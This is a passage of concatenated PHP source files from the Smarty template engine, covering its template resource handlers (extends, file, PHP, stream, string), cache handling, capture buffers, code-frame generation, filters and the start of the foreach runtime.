            if ($_s->type === 'php') {
                throw new SmartyException("Resource type {$_s->type} cannot be used with the extends resource type");
            }
            $sources[ $_s->uid ] = $_s;
            $uid .= $_s->filepath;
            if ($_template) {
                $exists = $exists && $_s->exists;
            }
        }
        $source->components = $sources;
        $source->filepath = $_s->filepath;
        $source->uid = sha1($uid . $source->smarty->_joined_template_dir);
        $source->exists = $exists;
        if ($_template) {
            $source->timestamp = $_s->timestamp;
        }
    }

    /**
     * populate Source Object with timestamp and exists from Resource
     *
     * @param Smarty_Template_Source $source source object
     */
    public function populateTimestamp(Smarty_Template_Source $source)
    {
        $source->exists = true;
        /* @var \Smarty_Template_Source $_s */
        foreach ($source->components as $_s) {
            $source->exists = $source->exists && $_s->exists;
        }
        $source->timestamp = $source->exists ? $_s->getTimeStamp() : false;
    }

    /**
     * Load template's source from files into current template object
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string template source
     * @throws SmartyException if source cannot be loaded
     */
    public function getContent(Smarty_Template_Source $source)
    {
        if (!$source->exists) {
            throw new SmartyException("Unable to load template '{$source->type}:{$source->name}'");
        }
        $_components = array_reverse($source->components);
        $_content = '';
        /* @var \Smarty_Template_Source $_s */
        foreach ($_components as $_s) {
            // read content
            $_content .= $_s->getContent();
        }
        return $_content;
    }

    /**
     * Determine basename for compiled filename
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string resource's basename
     */
    public function getBasename(Smarty_Template_Source $source)
    {
        return str_replace(':', '.', basename($source->filepath));
    }

    /*
      * Disable timestamp checks for extends resource.
      * The individual source components will be checked.
      *
      * @return bool
      */
    /**
     * @return bool
     */
    public function checkTimestamps()
    {
        return false;
    }
}
<?php
/**
 * Smarty Internal Plugin Resource File
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Uwe Tews
 * @author     Rodney Rehm
 */

/**
 * Smarty Internal Plugin Resource File
 * Implements the file system as resource for Smarty templates
 *
 * @package    Smarty
 * @subpackage TemplateResources
 */
class Smarty_Internal_Resource_File extends Smarty_Resource
{
    /**
     * populate Source Object with meta data from Resource
     *
     * @param Smarty_Template_Source   $source    source object
     * @param Smarty_Internal_Template|null $_template template object
     *
     * @throws \SmartyException
     */
    public function populate(Smarty_Template_Source $source, ?Smarty_Internal_Template $_template = null)
    {
        $source->filepath = $this->buildFilepath($source, $_template);
        if ($source->filepath !== false) {
            if (isset($source->smarty->security_policy) && is_object($source->smarty->security_policy)) {
                $source->smarty->security_policy->isTrustedResourceDir($source->filepath, $source->isConfig);
            }
            $source->exists = true;
            $source->uid = sha1(
                $source->filepath . ($source->isConfig ? $source->smarty->_joined_config_dir :
                    $source->smarty->_joined_template_dir)
            );
            $source->timestamp = filemtime($source->filepath);
        } else {
            $source->timestamp = $source->exists = false;
        }
    }

    /**
     * populate Source Object with timestamp and exists from Resource
     *
     * @param Smarty_Template_Source $source source object
     */
    public function populateTimestamp(Smarty_Template_Source $source)
    {
        if (!$source->exists) {
            $source->timestamp = $source->exists = is_file($source->filepath);
        }
        if ($source->exists) {
            $source->timestamp = filemtime($source->filepath);
        }
    }

    /**
     * Load template's source from file into current template object
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string                 template source
     * @throws SmartyException        if source cannot be loaded
     */
    public function getContent(Smarty_Template_Source $source)
    {
        if ($source->exists) {
            return file_get_contents($source->filepath);
        }
        throw new SmartyException(
            'Unable to read ' . ($source->isConfig ? 'config' : 'template') .
            " {$source->type} '{$source->name}'"
        );
    }

    /**
     * Determine basename for compiled filename
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string                 resource's basename
     */
    public function getBasename(Smarty_Template_Source $source)
    {
        return basename($source->filepath);
    }

    /**
     * build template filepath by traversing the template_dir array
     *
     * @param Smarty_Template_Source   $source    source object
     * @param Smarty_Internal_Template|null $_template template object
     *
     * @return string fully qualified filepath
     * @throws SmartyException
     */
    protected function buildFilepath(Smarty_Template_Source $source, ?Smarty_Internal_Template $_template = null)
    {
        $file = $source->name;
        // absolute file ?
        if ($file[ 0 ] === '/' || $file[ 1 ] === ':') {
            $file = $source->smarty->_realpath($file, true);
            return is_file($file) ? $file : false;
        }
        // go relative to a given template?
        if ($file[ 0 ] === '.' && $_template && $_template->_isSubTpl()
            && preg_match('#^[.]{1,2}[\\\/]#', $file)
        ) {
            if ($_template->parent->source->type !== 'file' && $_template->parent->source->type !== 'extends'
                && !isset($_template->parent->_cache[ 'allow_relative_path' ])
            ) {
                throw new SmartyException("Template '{$file}' cannot be relative to template of resource type '{$_template->parent->source->type}'");
            }
            // normalize path
            $path =
                $source->smarty->_realpath(dirname($_template->parent->source->filepath) . DIRECTORY_SEPARATOR . $file);
            // files relative to a template only get one shot
            return is_file($path) ? $path : false;
        }
        // normalize DIRECTORY_SEPARATOR
        if (strpos($file, DIRECTORY_SEPARATOR === '/' ? '\\' : '/') !== false) {
            $file = str_replace(DIRECTORY_SEPARATOR === '/' ? '\\' : '/', DIRECTORY_SEPARATOR, $file);
        }
        $_directories = $source->smarty->getTemplateDir(null, $source->isConfig);
        // template_dir index?
        if ($file[ 0 ] === '[' && preg_match('#^\[([^\]]+)\](.+)$#', $file, $fileMatch)) {
            $file = $fileMatch[ 2 ];
            $_indices = explode(',', $fileMatch[ 1 ]);
            $_index_dirs = array();
            foreach ($_indices as $index) {
                $index = trim($index);
                // try string indexes
                if (isset($_directories[ $index ])) {
                    $_index_dirs[] = $_directories[ $index ];
                } elseif (is_numeric($index)) {
                    // try numeric index
                    $index = (int)$index;
                    if (isset($_directories[ $index ])) {
                        $_index_dirs[] = $_directories[ $index ];
                    } else {
                        // try at location index
                        $keys = array_keys($_directories);
                        if (isset($_directories[ $keys[ $index ] ])) {
                            $_index_dirs[] = $_directories[ $keys[ $index ] ];
                        }
                    }
                }
            }
            if (empty($_index_dirs)) {
                // index not found
                return false;
            } else {
                $_directories = $_index_dirs;
            }
        }
        // relative file name?
        foreach ($_directories as $_directory) {
            $path = $_directory . $file;
            if (is_file($path)) {
                return (strpos($path, '.' . DIRECTORY_SEPARATOR) !== false) ? $source->smarty->_realpath($path) : $path;
            }
        }
        if (!isset($_index_dirs)) {
            // Could be relative to cwd
            $path = $source->smarty->_realpath($file, true);
            if (is_file($path)) {
                return $path;
            }
        }
        // Use include path ?
        if ($source->smarty->use_include_path) {
            return $source->smarty->ext->_getIncludePath->getIncludePath($_directories, $file, $source->smarty);
        }
        return false;
    }
}
<?php

/**
 * Smarty Internal Plugin Resource PHP
 * Implements the file system as resource for PHP templates
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Uwe Tews
 * @author     Rodney Rehm
 */
class Smarty_Internal_Resource_Php extends Smarty_Internal_Resource_File
{
    /**
     * Flag that it's an uncompiled resource
     *
     * @var bool
     */
    public $uncompiled = true;

    /**
     * Resource does implement populateCompiledFilepath() method
     *
     * @var bool
     */
    public $hasCompiledHandler = true;

    /**
     * container for short_open_tag directive's value before executing PHP templates
     *
     * @var string
     */
    protected $short_open_tag;

    /**
     * Create a new PHP Resource
     */
    public function __construct()
    {
        $this->short_open_tag = function_exists('ini_get') ? ini_get('short_open_tag') : 1;
    }

    /**
     * Load template's source from file into current template object
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string                 template source
     * @throws SmartyException        if source cannot be loaded
     */
    public function getContent(Smarty_Template_Source $source)
    {
        if ($source->exists) {
            return '';
        }
        throw new SmartyException("Unable to read template {$source->type} '{$source->name}'");
    }

    /**
     * populate compiled object with compiled filepath
     *
     * @param Smarty_Template_Compiled $compiled  compiled object
     * @param Smarty_Internal_Template $_template template object (is ignored)
     */
    public function populateCompiledFilepath(Smarty_Template_Compiled $compiled, Smarty_Internal_Template $_template)
    {
        $compiled->filepath = $_template->source->filepath;
        $compiled->timestamp = $_template->source->timestamp;
        $compiled->exists = $_template->source->exists;
        $compiled->file_dependency[ $_template->source->uid ] =
            array(
                $compiled->filepath,
                $compiled->timestamp,
                $_template->source->type,
            );
    }

    /**
     * Render and output the template (without using the compiler)
     *
     * @param Smarty_Template_Source   $source    source object
     * @param Smarty_Internal_Template $_template template object
     *
     * @return void
     * @throws SmartyException          if template cannot be loaded or allow_php_templates is disabled
     */
    public function renderUncompiled(Smarty_Template_Source $source, Smarty_Internal_Template $_template)
    {
        if (!$source->smarty->allow_php_templates) {
            throw new SmartyException('PHP templates are disabled');
        }
        if (!$source->exists) {
            throw new SmartyException(
                "Unable to load template '{$source->type}:{$source->name}'" .
                ($_template->_isSubTpl() ? " in '{$_template->parent->template_resource}'" : '')
            );
        }
        // prepare variables
        extract($_template->getTemplateVars());
        // include PHP template with short open tags enabled
        if (function_exists('ini_set')) {
            ini_set('short_open_tag', '1');
        }
        /**
         *
         *
         * @var Smarty_Internal_Template $_smarty_template
         * used in included file
         */
        $_smarty_template = $_template;
        include $source->filepath;
        if (function_exists('ini_set')) {
            ini_set('short_open_tag', $this->short_open_tag);
        }
    }
}
<?php
/**
 * Smarty Internal Plugin Resource Stream
 * Implements the streams as resource for Smarty template
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Uwe Tews
 * @author     Rodney Rehm
 */

/**
 * Smarty Internal Plugin Resource Stream
 * Implements the streams as resource for Smarty template
 *
 * @link       https://php.net/streams
 * @package    Smarty
 * @subpackage TemplateResources
 */
class Smarty_Internal_Resource_Stream extends Smarty_Resource_Recompiled
{
    /**
     * populate Source Object with meta data from Resource
     *
     * @param Smarty_Template_Source   $source    source object
     * @param Smarty_Internal_Template|null $_template template object
     *
     * @return void
     */
    public function populate(Smarty_Template_Source $source, ?Smarty_Internal_Template $_template = null)
    {
        if (strpos($source->resource, '://') !== false) {
            $source->filepath = $source->resource;
        } else {
            $source->filepath = str_replace(':', '://', $source->resource);
        }
        $source->uid = false;
        $source->content = $this->getContent($source);
        $source->timestamp = $source->exists = !!$source->content;
    }

    /**
     * Load template's source from stream into current template object
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string template source
     */
    public function getContent(Smarty_Template_Source $source)
    {
        $t = '';
        // the availability of the stream has already been checked in Smarty_Resource::fetch()
        $fp = fopen($source->filepath, 'r+');
        if ($fp) {
            while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
                $t .= $current_line;
            }
            fclose($fp);
            return $t;
        } else {
            return false;
        }
    }

    /**
     * modify resource_name according to resource handlers specifications
     *
     * @param Smarty  $smarty        Smarty instance
     * @param string  $resource_name resource_name to make unique
     * @param boolean $isConfig      flag for config resource
     *
     * @return string unique resource name
     */
    public function buildUniqueResourceName(Smarty $smarty, $resource_name, $isConfig = false)
    {
        return get_class($this) . '#' . $resource_name;
    }
}
<?php
/**
 * Smarty Internal Plugin Resource String
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Uwe Tews
 * @author     Rodney Rehm
 */

/**
 * Smarty Internal Plugin Resource String
 * Implements the strings as resource for Smarty template
 * {@internal unlike eval-resources the compiled state of string-resources is saved for subsequent access}}
 *
 * @package    Smarty
 * @subpackage TemplateResources
 */
class Smarty_Internal_Resource_String extends Smarty_Resource
{
    /**
     * populate Source Object with meta data from Resource
     *
     * @param Smarty_Template_Source   $source    source object
     * @param Smarty_Internal_Template|null $_template template object
     *
     * @return void
     */
    public function populate(Smarty_Template_Source $source, ?Smarty_Internal_Template $_template = null)
    {
        $source->uid = $source->filepath = sha1($source->name . $source->smarty->_joined_template_dir);
        $source->timestamp = $source->exists = true;
    }

    /**
     * Load template's source from $resource_name into current template object
     *
     * @uses decode() to decode base64 and urlencoded template_resources
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string                 template source
     */
    public function getContent(Smarty_Template_Source $source)
    {
        return $this->decode($source->name);
    }

    /**
     * decode base64 and urlencode
     *
     * @param string $string template_resource to decode
     *
     * @return string decoded template_resource
     */
    protected function decode($string)
    {
        // decode if specified
        if (($pos = strpos($string, ':')) !== false) {
            if (!strncmp($string, 'base64', 6)) {
                return base64_decode(substr($string, 7));
            } elseif (!strncmp($string, 'urlencode', 9)) {
                return urldecode(substr($string, 10));
            }
        }
        return $string;
    }

    /**
     * modify resource_name according to resource handlers specifications
     *
     * @param Smarty  $smarty        Smarty instance
     * @param string  $resource_name resource_name to make unique
     * @param boolean $isConfig      flag for config resource
     *
     * @return string unique resource name
     */
    public function buildUniqueResourceName(Smarty $smarty, $resource_name, $isConfig = false)
    {
        return get_class($this) . '#' . $this->decode($resource_name);
    }

    /**
     * Determine basename for compiled filename
     * Always returns an empty string.
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string                 resource's basename
     */
    public function getBasename(Smarty_Template_Source $source)
    {
        return '';
    }

    /*
        * Disable timestamp checks for string resource.
        *
        * @return bool
        */
    /**
     * @return bool
     */
    public function checkTimestamps()
    {
        return false;
    }
}
<?php

/**
 * Inline Runtime Methods render, setSourceByUid, setupSubTemplate
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 **/
class Smarty_Internal_Runtime_CacheModify
{
    /**
     * check client side cache
     *
     * @param \Smarty_Template_Cached   $cached
     * @param \Smarty_Internal_Template $_template
     * @param string                    $content
     *
     * @throws \Exception
     * @throws \SmartyException
     */
    public function cacheModifiedCheck(Smarty_Template_Cached $cached, Smarty_Internal_Template $_template, $content)
    {
        $_isCached = $_template->isCached() && !$_template->compiled->has_nocache_code;
        $_last_modified_date =
            @substr($_SERVER[ 'HTTP_IF_MODIFIED_SINCE' ], 0, strpos($_SERVER[ 'HTTP_IF_MODIFIED_SINCE' ], 'GMT') + 3);
        if ($_isCached && $cached->timestamp <= strtotime($_last_modified_date)) {
            switch (PHP_SAPI) {
                case 'cgi': // php-cgi < 5.3
                case 'cgi-fcgi': // php-cgi >= 5.3
                case 'fpm-fcgi': // php-fpm >= 5.3.3
                    header('Status: 304 Not Modified');
                    break;
                case 'cli':
                    if (/* ^phpunit */
                    !empty($_SERVER[ 'SMARTY_PHPUNIT_DISABLE_HEADERS' ]) /* phpunit$ */
                    ) {
                        $_SERVER[ 'SMARTY_PHPUNIT_HEADERS' ][] = '304 Not Modified';
                    }
                    break;
                default:
                    if (/* ^phpunit */
                    !empty($_SERVER[ 'SMARTY_PHPUNIT_DISABLE_HEADERS' ]) /* phpunit$ */
                    ) {
                        $_SERVER[ 'SMARTY_PHPUNIT_HEADERS' ][] = '304 Not Modified';
                    } else {
                        header($_SERVER[ 'SERVER_PROTOCOL' ] . ' 304 Not Modified');
                    }
                    break;
            }
        } else {
            switch (PHP_SAPI) {
                case 'cli':
                    if (/* ^phpunit */
                    !empty($_SERVER[ 'SMARTY_PHPUNIT_DISABLE_HEADERS' ]) /* phpunit$ */
                    ) {
                        $_SERVER[ 'SMARTY_PHPUNIT_HEADERS' ][] =
                            'Last-Modified: ' . gmdate('D, d M Y H:i:s', $cached->timestamp) . ' GMT';
                    }
                    break;
                default:
                    header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $cached->timestamp) . ' GMT');
                    break;
            }
            echo $content;
        }
    }
}
<?php
/**
 * Smarty cache resource file clear method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Runtime Cache Resource File Class
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 */
class Smarty_Internal_Runtime_CacheResourceFile
{
    /**
     * Empty cache for a specific template
     *
     * @param Smarty  $smarty
     * @param string  $resource_name template name
     * @param string  $cache_id      cache id
     * @param string  $compile_id    compile id
     * @param integer $exp_time      expiration time (number of seconds, not timestamp)
     *
     * @return integer number of cache files deleted
     */
    public function clear(Smarty $smarty, $resource_name, $cache_id, $compile_id, $exp_time)
    {
        $_cache_id = isset($cache_id) ? preg_replace('![^\w\|]+!', '_', $cache_id) : null;
        $_compile_id = isset($compile_id) ? preg_replace('![^\w]+!', '_', $compile_id) : null;
        $_dir_sep = $smarty->use_sub_dirs ? '/' : '^';
        $_compile_id_offset = $smarty->use_sub_dirs ? 3 : 0;
        $_dir = $smarty->getCacheDir();
        if ($_dir === '/') { //We should never want to delete this!
            return 0;
        }
        $_dir_length = strlen($_dir);
        if (isset($_cache_id)) {
            $_cache_id_parts = explode('|', $_cache_id);
            $_cache_id_parts_count = count($_cache_id_parts);
            if ($smarty->use_sub_dirs) {
                foreach ($_cache_id_parts as $id_part) {
                    $_dir .= $id_part . '/';
                }
            }
        }
        if (isset($resource_name)) {
            $_save_stat = $smarty->caching;
            $smarty->caching = Smarty::CACHING_LIFETIME_CURRENT;
            $tpl = new $smarty->template_class($resource_name, $smarty);
            $smarty->caching = $_save_stat;
            // remove from template cache
            $tpl->source; // have the template registered before unset()
            if ($tpl->source->exists) {
                $_resourcename_parts = basename(str_replace('^', '/', $tpl->cached->filepath));
            } else {
                return 0;
            }
        }
        $_count = 0;
        $_time = time();
        if (file_exists($_dir)) {
            $_cacheDirs = new RecursiveDirectoryIterator($_dir);
            $_cache = new RecursiveIteratorIterator($_cacheDirs, RecursiveIteratorIterator::CHILD_FIRST);
            foreach ($_cache as $_file) {
                if (substr(basename($_file->getPathname()), 0, 1) === '.') {
                    continue;
                }
                $_filepath = (string)$_file;
                // directory ?
                if ($_file->isDir()) {
                    if (!$_cache->isDot()) {
                        // delete folder if empty
                        @rmdir($_file->getPathname());
                    }
                } else {
                    // delete only php files
                    if (substr($_filepath, -4) !== '.php') {
                        continue;
                    }
                    $_parts = explode($_dir_sep, str_replace('\\', '/', substr($_filepath, $_dir_length)));
                    $_parts_count = count($_parts);
                    // check name
                    if (isset($resource_name)) {
                        if ($_parts[ $_parts_count - 1 ] !== $_resourcename_parts) {
                            continue;
                        }
                    }
                    // check compile id
                    if (isset($_compile_id) && (!isset($_parts[ $_parts_count - 2 - $_compile_id_offset ])
                                                || $_parts[ $_parts_count - 2 - $_compile_id_offset ] !== $_compile_id)
                    ) {
                        continue;
                    }
                    // check cache id
                    if (isset($_cache_id)) {
                        // count of cache id parts
                        $_parts_count = (isset($_compile_id)) ? $_parts_count - 2 - $_compile_id_offset :
                            $_parts_count - 1 - $_compile_id_offset;
                        if ($_parts_count < $_cache_id_parts_count) {
                            continue;
                        }
                        for ($i = 0; $i < $_cache_id_parts_count; $i++) {
                            if ($_parts[ $i ] !== $_cache_id_parts[ $i ]) {
                                continue 2;
                            }
                        }
                    }
                    if (is_file($_filepath)) {
                        // expired ?
                        if (isset($exp_time)) {
                            if ($exp_time < 0) {
                                preg_match('#\'cache_lifetime\' =>\s*(\d*)#', file_get_contents($_filepath), $match);
                                if ($_time < (filemtime($_filepath) + $match[ 1 ])) {
                                    continue;
                                }
                            } else {
                                if ($_time - filemtime($_filepath) < $exp_time) {
                                    continue;
                                }
                            }
                        }
                        $_count += @unlink($_filepath) ? 1 : 0;
                        if (function_exists('opcache_invalidate')
                            && (!function_exists('ini_get') || strlen(ini_get("opcache.restrict_api")) < 1)
                        ) {
                            opcache_invalidate($_filepath, true);
                        } elseif (function_exists('apc_delete_file')) {
                            apc_delete_file($_filepath);
                        }
                    }
                }
            }
        }
        return $_count;
    }
}
<?php

/**
 * Runtime Extension Capture
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Runtime_Capture
{
    /**
     * Flag that this instance  will not be cached
     *
     * @var bool
     */
    public $isPrivateExtension = true;

    /**
     * Stack of capture parameter
     *
     * @var array
     */
    private $captureStack = array();

    /**
     * Current open capture sections
     *
     * @var int
     */
    private $captureCount = 0;

    /**
     * Count stack
     *
     * @var int[]
     */
    private $countStack = array();

    /**
     * Named buffer
     *
     * @var string[]
     */
    private $namedBuffer = array();

    /**
     * Flag if callbacks are registered
     *
     * @var bool
     */
    private $isRegistered = false;

    /**
     * Open capture section
     *
     * @param \Smarty_Internal_Template $_template
     * @param string                    $buffer capture name
     * @param string                    $assign variable name
     * @param string                    $append variable name
     */
    public function open(Smarty_Internal_Template $_template, $buffer, $assign, $append)
    {
        if (!$this->isRegistered) {
            $this->register($_template);
        }
        $this->captureStack[] = array(
            $buffer,
            $assign,
            $append
        );
        $this->captureCount++;
        ob_start();
    }

    /**
     * Register callbacks in template class
     *
     * @param \Smarty_Internal_Template $_template
     */
    private function register(Smarty_Internal_Template $_template)
    {
        $_template->startRenderCallbacks[] = array(
            $this,
            'startRender'
        );
        $_template->endRenderCallbacks[] = array(
            $this,
            'endRender'
        );
        $this->startRender($_template);
        $this->isRegistered = true;
    }

    /**
     * Start render callback
     *
     * @param \Smarty_Internal_Template $_template
     */
    public function startRender(Smarty_Internal_Template $_template)
    {
        $this->countStack[] = $this->captureCount;
        $this->captureCount = 0;
    }

    /**
     * Close capture section
     *
     * @param \Smarty_Internal_Template $_template
     *
     * @throws \SmartyException
     */
    public function close(Smarty_Internal_Template $_template)
    {
        if ($this->captureCount) {
            list($buffer, $assign, $append) = array_pop($this->captureStack);
            $this->captureCount--;
            if (isset($assign)) {
                $_template->assign($assign, ob_get_contents());
            }
            if (isset($append)) {
                $_template->append($append, ob_get_contents());
            }
            $this->namedBuffer[ $buffer ] = ob_get_clean();
        } else {
            $this->error($_template);
        }
    }

    /**
     * Error exception on not matching {capture}{/capture}
     *
     * @param \Smarty_Internal_Template $_template
     *
     * @throws \SmartyException
     */
    public function error(Smarty_Internal_Template $_template)
    {
        throw new SmartyException("Not matching {capture}{/capture} in '{$_template->template_resource}'");
    }

    /**
     * Return content of named capture buffer by key or as array
     *
     * @param \Smarty_Internal_Template $_template
     * @param string|null               $name
     *
     * @return string|string[]|null
     */
    public function getBuffer(Smarty_Internal_Template $_template, $name = null)
    {
        if (isset($name)) {
            return isset($this->namedBuffer[ $name ]) ? $this->namedBuffer[ $name ] : null;
        } else {
            return $this->namedBuffer;
        }
    }

    /**
     * End render callback
     *
     * @param \Smarty_Internal_Template $_template
     *
     * @throws \SmartyException
     */
    public function endRender(Smarty_Internal_Template $_template)
    {
        if ($this->captureCount) {
            $this->error($_template);
        } else {
            $this->captureCount = array_pop($this->countStack);
        }
    }
}
<?php
/**
 * Smarty Internal Extension
 * This file contains the Smarty template extension to create a code frame
 *
 * @package    Smarty
 * @subpackage Template
 * @author     Uwe Tews
 */

/**
 * Class Smarty_Internal_Extension_CodeFrame
 * Create code frame for compiled and cached templates
 */
class Smarty_Internal_Runtime_CodeFrame
{
    /**
     * Create code frame for compiled and cached templates
     *
     * @param Smarty_Internal_Template                   $_template
     * @param string                                     $content   optional template content
     * @param string                                     $functions compiled template function and block code
     * @param bool                                       $cache     flag for cache file
     * @param \Smarty_Internal_TemplateCompilerBase|null $compiler
     *
     * @return string
     */
    public function create(
        Smarty_Internal_Template $_template,
        $content = '',
        $functions = '',
        $cache = false,
        ?Smarty_Internal_TemplateCompilerBase $compiler = null
    ) {
        // build property code
        $properties[ 'version' ] = Smarty::SMARTY_VERSION;
        $properties[ 'unifunc' ] = 'content_' . str_replace(array('.', ','), '_', uniqid('', true));
        if (!$cache) {
            $properties[ 'has_nocache_code' ] = $_template->compiled->has_nocache_code;
            $properties[ 'file_dependency' ] = $_template->compiled->file_dependency;
            $properties[ 'includes' ] = $_template->compiled->includes;
        } else {
            $properties[ 'has_nocache_code' ] = $_template->cached->has_nocache_code;
            $properties[ 'file_dependency' ] = $_template->cached->file_dependency;
            $properties[ 'cache_lifetime' ] = $_template->cache_lifetime;
        }
        $output = sprintf(
			"<?php\n/* Smarty version %s, created on %s\n  from '%s' */\n\n",
            $properties[ 'version' ],
	        date("Y-m-d H:i:s"),
	        str_replace('*/', '* /', $_template->source->filepath)
        );
        $output .= "/* @var Smarty_Internal_Template \$_smarty_tpl */\n";
        $dec = "\$_smarty_tpl->_decodeProperties(\$_smarty_tpl, " . var_export($properties, true) . ',' .
               ($cache ? 'true' : 'false') . ')';
        $output .= "if ({$dec}) {\n";
        $output .= "function {$properties['unifunc']} (Smarty_Internal_Template \$_smarty_tpl) {\n";
        if (!$cache && !empty($compiler->tpl_function)) {
            $output .= '$_smarty_tpl->smarty->ext->_tplFunction->registerTplFunctions($_smarty_tpl, ';
            $output .= var_export($compiler->tpl_function, true);
            $output .= ");\n";
        }
        if ($cache && isset($_template->smarty->ext->_tplFunction)) {
            $output .= "\$_smarty_tpl->smarty->ext->_tplFunction->registerTplFunctions(\$_smarty_tpl, " .
                       var_export($_template->smarty->ext->_tplFunction->getTplFunction($_template), true) . ");\n";
        }
        $output .= "?>";
        $output .= $content;
        $output .= "<?php }\n?>";
        $output .= $functions;
        $output .= "<?php }\n";
        // remove unneeded PHP tags
        if (preg_match('/\s*\?>[\n]?<\?php\s*/', $output)) {
            $curr_split = preg_split(
                '/\s*\?>[\n]?<\?php\s*/',
                $output
            );
            preg_match_all(
                '/\s*\?>[\n]?<\?php\s*/',
                $output,
                $curr_parts
            );
            $output = '';
            foreach ($curr_split as $idx => $curr_output) {
                $output .= $curr_output;
                if (isset($curr_parts[ 0 ][ $idx ])) {
                    $output .= "\n";
                }
            }
        }
        if (preg_match('/\?>\s*$/', $output)) {
            $curr_split = preg_split(
                '/\?>\s*$/',
                $output
            );
            $output = '';
            foreach ($curr_split as $idx => $curr_output) {
                $output .= $curr_output;
            }
        }
        return $output;
    }
}
<?php
/**
 * Smarty Internal Plugin Filter Handler
 * Smarty filter handler class
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */

/**
 * Class for filter processing
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 */
class Smarty_Internal_Runtime_FilterHandler
{
    /**
     * Run filters over content
     * The filters will be lazy loaded if required
     * class name format: Smarty_FilterType_FilterName
     * plugin filename format: filtertype.filtername.php
     * Smarty2 filter plugins could be used
     *
     * @param string                   $type     the type of filter ('pre','post','output') which shall run
     * @param string                   $content  the content which shall be processed by the filters
     * @param Smarty_Internal_Template $template template object
     *
     * @throws SmartyException
     * @return string                   the filtered content
     */
    public function runFilter($type, $content, Smarty_Internal_Template $template)
    {
        // loop over autoload filters of specified type
        if (!empty($template->smarty->autoload_filters[ $type ])) {
            foreach ((array)$template->smarty->autoload_filters[ $type ] as $name) {
                $plugin_name = "Smarty_{$type}filter_{$name}";
                if (function_exists($plugin_name)) {
                    $callback = $plugin_name;
                } elseif (class_exists($plugin_name, false) && is_callable(array($plugin_name, 'execute'))) {
                    $callback = array($plugin_name, 'execute');
                } elseif ($template->smarty->loadPlugin($plugin_name, false)) {
                    if (function_exists($plugin_name)) {
                        // use loaded Smarty2 style plugin
                        $callback = $plugin_name;
                    } elseif (class_exists($plugin_name, false) && is_callable(array($plugin_name, 'execute'))) {
                        // loaded class of filter plugin
                        $callback = array($plugin_name, 'execute');
                    } else {
                        throw new SmartyException("Auto load {$type}-filter plugin method '{$plugin_name}::execute' not callable");
                    }
                } else {
                    // nothing found, throw exception
                    throw new SmartyException("Unable to auto load {$type}-filter plugin '{$plugin_name}'");
                }
                $content = call_user_func($callback, $content, $template);
            }
        }
        // loop over registered filters of specified type
        if (!empty($template->smarty->registered_filters[ $type ])) {
            foreach ($template->smarty->registered_filters[ $type ] as $key => $name) {
                $content = call_user_func($template->smarty->registered_filters[ $type ][ $key ], $content, $template);
            }
        }
        // return filtered output
        return $content;
    }
}
<?php

/**
 * Foreach Runtime Methods count(), init(), restore()
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Runtime_Foreach
{
    /**
     * Stack of saved variables
     *
     * @var array
     */
    private $stack = array();

    /**
     * Init foreach loop
     *  - save item and key variables, named foreach property data if defined
     *  - init item and key variables, named foreach property data if required
     *  - count total if required
     *
     * @param \Smarty_Internal_Template $tpl
     * @param mixed                     $from       values to loop over
     * @param string                    $item       variable name
     * @param bool                      $needTotal  flag if we need to count values
     * @param null|string               $key        variable name
     * @param null|string               $name       of named foreach
     * @param array                     $properties of named foreach
     *
     * @return mixed $from
     */
    public function init(
        Smarty_Internal_Template $tpl,
        $from,
        $item,
        $needTotal = false,
        $key = null,
        $name = null,
        $properties = array()
    ) {
        $needTotal = $needTotal || isset($properties[ 'total' ]);
        $saveVars = array();
        $total = null;
        if (!is_array($from)) {
            if (is_object($from)) {
                if ($needTotal) {
                    $total = $this->count($from);
                }
            } else {
                settype($from, 'array');
            }
        }
        if (!isset($total)) {
            $total = empty($from) ? 0 : ($needTotal ? count($from) : 1);
        }
        if (isset($tpl->tpl_vars[ $item ])) {
            $saveVars[ 'item' ] = array(
                $item,
                $tpl->tpl_vars[ $item ]
            );
        }
        $tpl->tpl_vars[ $item ] = new Smarty_Variable(null, $tpl->isRenderingCache);
        if ($total === 0) {
            $from = null;
        } else {
            if ($key) {
                if (isset($tpl->tpl_vars[ $key ])) {
                    $saveVars[ 'key' ] = array(
                        $key,
                        $tpl->tpl_vars[ $key ]
                    );
                }
                $tpl->tpl_vars[ $key ] = new Smarty_Variable(null, $tpl->isRenderingCache);
            }
        }
        if ($needTotal) {
            $tpl->tpl_vars[ $item ]->total = $total;
        }
        if ($name) {
            $namedVar = "__smarty_foreach_{$name}";
            if (isset($tpl->tpl_vars[ $namedVar ])) {
                $saveVars[ 'named' ] = array(
                    $namedVar,
                    $tpl->tpl_vars[ $namedVar ]
                );
            }
            $namedProp = array();
            if (isset($properties[ 'total' ])) {
                $namedProp[ 'total' ] = $total;
            }
            if (isset($properties[ 'iteration' ])) {
                $namedProp[ 'iteration' ] = 0;
            }
            if (isset($properties[ 'index' ])) {
                $namedProp[ 'index' ] = -1;
            }
            if (isset($properties[ 'show' ])) {
                $namedProp[ 'show' ] = ($total > 0);
            }
            $tpl->tpl_vars[ $namedVar ] = new Smarty_Variable($namedProp);
        }
        $this->stack[] = $saveVars;
        return $from;
    }

    /**
     * [util function] counts an array, arrayAccess/traversable or PDOStatement object
     *
     * @param mixed $value
     *
     * @return int   the count for arrays and objects that implement countable, 1 for other objects that don't, and 0
     *               for empty elements
